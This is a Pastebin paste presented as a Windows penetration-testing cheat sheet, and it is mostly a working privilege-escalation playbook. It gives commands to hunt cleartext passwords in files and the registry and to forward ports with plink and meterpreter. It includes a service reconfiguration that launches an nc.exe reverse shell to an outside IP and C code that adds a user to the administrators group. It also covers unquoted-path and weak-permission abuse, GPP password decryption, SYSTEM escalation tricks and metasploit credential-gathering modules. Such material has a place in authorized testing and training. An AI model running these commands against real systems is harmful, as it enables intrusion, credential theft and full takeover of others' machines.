Sweetening

Windows Penetration Testing Cheat Sheet

May 8th, 2025
18
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.28 KB | None | 0 0
  1. # Privilege Escalation Windows
  2.  
  3. We now have a low-privileges shell that we want to escalate into a privileged shell.
  4.  
  5. ## Basic Enumeration of the System
  6.  
  7. Before we start looking for privilege escalation opportunities we need to understand a bit about the machine. We need to know what users have privileges. What patches/hotfixes the system has.
  8.  
  9. ```
  10. # Basics
  11. systeminfo
  12. hostname
  13.  
  14. # Who am I?
  15. whoami
  16. echo %username%
  17.  
  18. # What users/localgroups are on the machine?
  19. net users
  20. net localgroups
  21.  
  22. # More info about a specific user. Check if user has privileges.
  23. net user user1
  24.  
  25. # View Domain Groups
  26. net group /domain
  27.  
  28. # View Members of Domain Group
  29. net group /domain <Group Name>
  30.  
  31. # Firewall
  32. netsh firewall show state
  33. netsh firewall show config
  34.  
  35. # Network
  36. ipconfig /all
  37. route print
  38. arp -A
  39.  
  40. # How well patched is the system?
  41. wmic qfe get Caption,Description,HotFixID,InstalledOn
  42. ```
  43.  
  44. ## Cleartext Passwords
  45.  
  46. ### Search for them
  47.  
  48. ```
  49. findstr /si password *.txt
  50. findstr /si password *.xml
  51. findstr /si password *.ini
  52.  
  53. #Find all those strings in config files.
  54. dir /s *pass* == *cred* == *vnc* == *.config*
  55.  
  56. # Find all passwords in all files.
  57. findstr /spin "password" *.*
  58. findstr /spin "password" *.*
  59. ```
  60.  
  61. ### In Files
  62.  
  63. These are common files to find them in. They might be base64-encoded. So look out for that.
  64.  
  65. ```
  66. c:\sysprep.inf
  67. c:\sysprep\sysprep.xml
  68. c:\unattend.xml
  69. %WINDIR%\Panther\Unattend\Unattended.xml
  70. %WINDIR%\Panther\Unattended.xml
  71.  
  72. dir c:\*vnc.ini /s /b
  73. dir c:\*ultravnc.ini /s /b
  74. dir c:\ /s /b | findstr /si *vnc.ini
  75. ```
  76.  
  77. ### In Registry
  78.  
  79. ```
  80. # VNC
  81. reg query "HKCU\Software\ORL\WinVNC3\Password"
  82.  
  83. # Windows autologin
  84. reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
  85.  
  86. # SNMP Paramters
  87. reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
  88.  
  89. # Putty
  90. reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
  91.  
  92. # Search for password in registry
  93. reg query HKLM /f password /t REG_SZ /s
  94. reg query HKCU /f password /t REG_SZ /s
  95. ```
  96.  
  97. ## Service only available from inside
  98.  
  99. Sometimes there are services that are only accessible from inside the network. For example a MySQL server might not be accessible from the outside, for security reasons. It is also common to have different administration applications that is only accessible from inside the network/machine. Like a printer interface, or something like that. These services might be more vulnerable since they are not meant to be seen from the outside.
  100.  
  101. ```
  102. netstat -ano
  103. ```
  104.  
  105. Example output:
  106.  
  107. ```
  108. Proto Local address Remote address State User Inode PID/Program name
  109. ----- ------------- -------------- ----- ---- ----- ----------------
  110. tcp 0.0.0.0:21 0.0.0.0:* LISTEN 0 0 -
  111. tcp 0.0.0.0:5900 0.0.0.0:* LISTEN 0 0 -
  112. tcp 0.0.0.0:6532 0.0.0.0:* LISTEN 0 0 -
  113. tcp 192.168.1.9:139 0.0.0.0:* LISTEN 0 0 -
  114. tcp 192.168.1.9:139 192.168.1.9:32874 TIME_WAIT 0 0 -
  115. tcp 192.168.1.9:445 192.168.1.9:40648 ESTABLISHED 0 0 -
  116. tcp 192.168.1.9:1166 192.168.1.9:139 TIME_WAIT 0 0 -
  117. tcp 192.168.1.9:27900 0.0.0.0:* LISTEN 0 0 -
  118. tcp 127.0.0.1:445 127.0.0.1:1159 ESTABLISHED 0 0 -
  119. tcp 127.0.0.1:27900 0.0.0.0:* LISTEN 0 0 -
  120. udp 0.0.0.0:135 0.0.0.0:* 0 0 -
  121. udp 192.168.1.9:500 0.0.0.0:* 0 0 -
  122. ```
  123.  
  124. Look for **LISTENING/LISTEN**. Compare that to the scan you did from the outside.
  125. Does it contain any ports that are not accessible from the outside?
  126.  
  127. If that is the case, maybe you can make a remote forward to access it.
  128.  
  129. ```
  130. # Port forward using plink
  131. plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
  132.  
  133. # Port forward using meterpreter
  134. portfwd add -l <attacker port> -p <victim port> -r <victim ip>
  135. portfwd add -l 3306 -p 3306 -r 192.168.1.101
  136. ```
  137.  
  138. So how should we interpret the netstat output?
  139.  
  140. **Local address 0.0.0.0**
  141. Local address 0.0.0.0 means that the service is listening on all interfaces. This means that it can receive a connection from the network card, from the loopback interface or any other interface. This means that anyone can connect to it.
  142.  
  143. **Local address 127.0.0.1**
  144. Local address 127.0.0.1 means that the service is only listening for connection from the your PC. Not from the internet or anywhere else. **This is interesting to us!**
  145.  
  146. **Local address 192.168.1.9**
  147. Local address 192.168.1.9 means that the service is only listening for connections from the local network. So someone in the local network can connect to it, but not someone from the internet. **This is also interesting to us!**
  148.  
  149. ## Kernel exploits
  150.  
  151. Kernel exploits should be our last resource, since it might but the machine in an unstable state or create some other problem with the machine.
  152.  
  153. **Identify the hotfixes/patches**
  154.  
  155. ```bash
  156. systeminfo
  157. # or
  158. wmic qfe get Caption,Description,HotFixID,InstalledOn
  159. ```
  160.  
  161. **Python to Binary**
  162.  
  163. If we have an exploit written in python but we don't have python installed on the victim-machine we can always transform it into a binary with pyinstaller. Good trick to know.
  164.  
  165. ## Scheduled Tasks
  166.  
  167. Here we are looking for tasks that are run by a privileged user, and run a binary that we can overwrite.
  168.  
  169. ```
  170. schtasks /query /fo LIST /v
  171. ```
  172.  
  173. This might produce a huge amount of text. I have not been able to figure out how to just output the relevant strings with `findstr`. So if you know a better way please notify me. As for now I just copy-paste the text and past it into my linux-terminal.
  174.  
  175. Yeah I know this ain't pretty, but it works. You can of course change the name SYSTEM to another privileged user.
  176.  
  177. ```
  178. cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
  179. ```
  180.  
  181. ## Change the upnp service binary
  182.  
  183. ```cmd
  184. sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -e c:\Windows\system32\cmd.exe"
  185. sc config upnphost obj= ".\LocalSystem" password= ""
  186. sc config upnphost depend= ""
  187. ```
  188.  
  189. ## Weak Service Permissions
  190.  
  191. Services on windows are programs that run in the background. Without a GUI.
  192.  
  193. If you find a service that has write permissions set to `everyone` you can change that binary into your custom binary and make it execute in the privileged context.
  194.  
  195. First we need to find services. That can be done using `wmci` or `sc.exe`. Wmci is not available on all windows machines, and it might not be available to your user. If you don't have access to it, you can use `sc.exe`.
  196.  
  197. **WMCI**
  198.  
  199. ```
  200. wmic service list brief
  201. ```
  202.  
  203. This will produce a lot out output and we need to know which one of all of these services have weak permissions. In order to check that we can use the `icacls` program. Notice that `icacls` is only available from Vista and up. XP and lower has `cacls` instead.
  204.  
  205. As you can see in the command below you need to make sure that you have access to `wimc`, `icacls` and write privilege in `C:\windows\temp`.
  206.  
  207. ```cmd
  208. for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
  209.  
  210. for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
  211. ```
  212.  
  213. Binaries in system32 are excluded since they are mostly correct, since they are installed by windows.
  214.  
  215. **sc.exe**
  216.  
  217. ```cmd
  218. sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
  219.  
  220. FOR /F %i in (Servicenames.txt) DO echo %i
  221. type Servicenames.txt
  222.  
  223. FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
  224.  
  225. FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
  226. ```
  227.  
  228. Now you can process them one by one with the cacls command.
  229.  
  230. ```
  231. cacls "C:\path\to\file.exe"
  232. ```
  233.  
  234. **Look for Weakness**
  235.  
  236. What we are interested in is binaries that have been installed by the user. In the output you want to look for `BUILTIN\Users:(F)`. Or where your user/usergroup has `(F)` or `(C)` rights.
  237.  
  238. Example:
  239.  
  240. ```
  241. C:\path\to\file.exe
  242. BUILTIN\Users:F
  243. BUILTIN\Power Users:C
  244. BUILTIN\Administrators:F
  245. NT AUTHORITY\SYSTEM:F
  246. ```
  247.  
  248. That means your user has write access. So you can just rename the `.exe` file and then add your own malicious binary. And then restart the program and your binary will be executed instead. This can be a simple getsuid program or a reverse shell that you create with msfvenom.
  249.  
  250. Here is a POC code for getsuid.
  251.  
  252. ```c
  253. #include <stdlib.h>
  254. int main ()
  255. {
  256. int i;
  257. i = system("net localgroup administrators theusername /add");
  258. return 0;
  259. }
  260. ```
  261.  
  262. We then compile it with mingw like this:
  263.  
  264. ```bash
  265. i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
  266. ```
  267.  
  268. **Restart the Service**
  269.  
  270. Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed. We can do this by using `wmic` or `net` the following way:
  271.  
  272. ```
  273. wmic service NAMEOFSERVICE call startservice
  274. ```
  275.  
  276. ```
  277. net stop [service name] && net start [service name].
  278. ```
  279.  
  280. The binary should now be executed in the SYSTEM or Administrator context.
  281.  
  282. **Migrate the meterpreter shell**
  283.  
  284. If your meterpreter session dies right after you get it you need migrate it to a more stable service. A common service to migrate to is winlogon.exe since it is run by system and it is always run. You can find the PID like this:
  285.  
  286. ```
  287. wmic process list brief | find "winlogon"
  288. ```
  289.  
  290. So when you get the shell you can either type `migrate PID` or automate this so that meterpreter automatically migrates.
  291.  
  292. [http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html](http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html)
  293.  
  294. ## Unquoted Service Paths
  295.  
  296. **Find Services With Unquoted Paths**
  297.  
  298. ```
  299. # Using WMIC
  300. wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
  301.  
  302. # Using sc
  303. sc query
  304. sc qc service name
  305.  
  306. # Look for Binary_path_name and see if it is unquoted.
  307. ```
  308.  
  309. If the path contains a space and is not quoted, the service is vulnerable.
  310.  
  311. **Exploit It**
  312.  
  313. If the path to the binary is:
  314.  
  315. ```
  316. c:\Program Files\something\winamp.exe
  317. ```
  318.  
  319. We can place a binary like this
  320.  
  321. ```
  322. c:\program.exe
  323. ```
  324.  
  325. When the program is restarted it will execute the binary `program.exe`, which we of course control. We can do this in any directory that has a space in its name. Not only `program files`.
  326.  
  327. This attack is explained here:
  328. [http://toshellandback.com/2015/11/24/ms-priv-esc/](http://toshellandback.com/2015/11/24/ms-priv-esc/)
  329.  
  330. There is also a metasploit module for this is: exploit/windows/local/trusted\_service\_path
  331.  
  332. ## Vulnerable Drivers
  333.  
  334. Some driver might be vulnerable. I don't know how to check this in an efficient way.
  335.  
  336. ```
  337. # List all drivers
  338. driverquery
  339. ```
  340.  
  341. ## AlwaysInstallElevated
  342.  
  343. ```
  344. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  345. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  346. ```
  347.  
  348. [http://toshellandback.com/2015/11/24/ms-priv-esc/](http://toshellandback.com/2015/11/24/ms-priv-esc/)
  349.  
  350. ## Group Policy Preference
  351.  
  352. If the machine belongs to a domain and your user has access to `System Volume Information` there might be some sensitive files there.
  353.  
  354. First we need to map/mount that drive. In order to do that we need to know the IP-address of the domain controller. We can just look in the environment-variables
  355.  
  356. ```
  357. # Output environment-variables
  358. set
  359.  
  360. # Look for the following:
  361. LOGONSERVER=\\NAMEOFSERVER
  362. USERDNSDOMAIN=WHATEVER.LOCAL
  363.  
  364. # Look up ip-addres
  365. nslookup nameofserver.whatever.local
  366.  
  367. # It will output something like this
  368. Address: 192.168.1.101
  369.  
  370. # Now we mount it
  371. net use z: \\192.168.1.101\SYSVOL
  372.  
  373. # And enter it
  374. z:
  375.  
  376. # Now we search for the groups.xml file
  377. dir Groups.xml /s
  378. ```
  379.  
  380. If we find the file with a password in it, we can decrypt it like this in Kali
  381.  
  382. ```
  383. gpp-decrypt encryptedpassword
  384. ```
  385.  
  386. ```
  387. Services\Services.xml: Element-Specific Attributes
  388. ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
  389. Printers\Printers.xml: SharedPrinter Element
  390. Drives\Drives.xml: Element-Specific Attributes
  391. DataSources\DataSources.xml: Element-Specific Attributes
  392. ```
  393.  
  394. ## Escalate to SYSTEM from Administrator
  395.  
  396. ### On Windows XP and Older
  397.  
  398. If you have a GUI with a user that is included in Administrators group you first need to open up `cmd.exe` for the administrator. If you open up the cmd that is in Accessories it will be opened up as a normal user. And if you rightclick and do `Run as Administrator` you might need to know the Administrators password. Which you might not know. So instead you open up the cmd from `c:\windows\system32\cmd.exe`. This will give you a cmd with Administrators rights.
  399.  
  400. From here we want to become SYSTEM user. To do this we run:
  401.  
  402. First we check what time it is on the local machine:
  403.  
  404. ```
  405. time
  406.  
  407. # Now we set the time we want the system CMD to start. Probably one minuter after the time.
  408. at 01:23 /interactive cmd.exe
  409. ```
  410.  
  411. And then the cmd with SYSTEM privs pops up.
  412.  
  413. ### Vista and Newer
  414.  
  415. You first need to upload PsExec.exe and then you run:
  416.  
  417. ```
  418. psexec -i -s cmd.exe
  419. ```
  420.  
  421. ### Kitrap
  422.  
  423. On some machines the `at 20:20` trick does not work. It never works on Windows 2003 for example. Instead you can use Kitrap. Upload both files and execute `vdmaillowed.exe`. I think it only works with GUI.
  424.  
  425. ```
  426. vdmallowed.exe
  427. vdmexploit.dll
  428. ```
  429.  
  430. ### Using Metasploit
  431.  
  432. So if you have a metasploit meterpreter session going you can run `getsystem`.
  433.  
  434.  
  435. ## Post modules
  436.  
  437. Some interesting metasploit post-modules
  438.  
  439. First you need to background the meterpreter shell and then you just run the post modules.
  440. You can also try some different post modules.
  441.  
  442. ```
  443. use exploit/windows/local/service_permissions
  444.  
  445. post/windows/gather/credentials/gpp
  446.  
  447. run post/windows/gather/credential_collector
  448.  
  449. run post/multi/recon/local_exploit_suggester
  450.  
  451. run post/windows/gather/enum_shares
  452.  
  453. run post/windows/gather/enum_snmp
  454.  
  455. run post/windows/gather/enum_applications
  456.  
  457. run post/windows/gather/enum_logged_on_users
  458.  
  459. run post/windows/gather/checkvm
  460. ```
Add Comment
Please, Sign In to add comment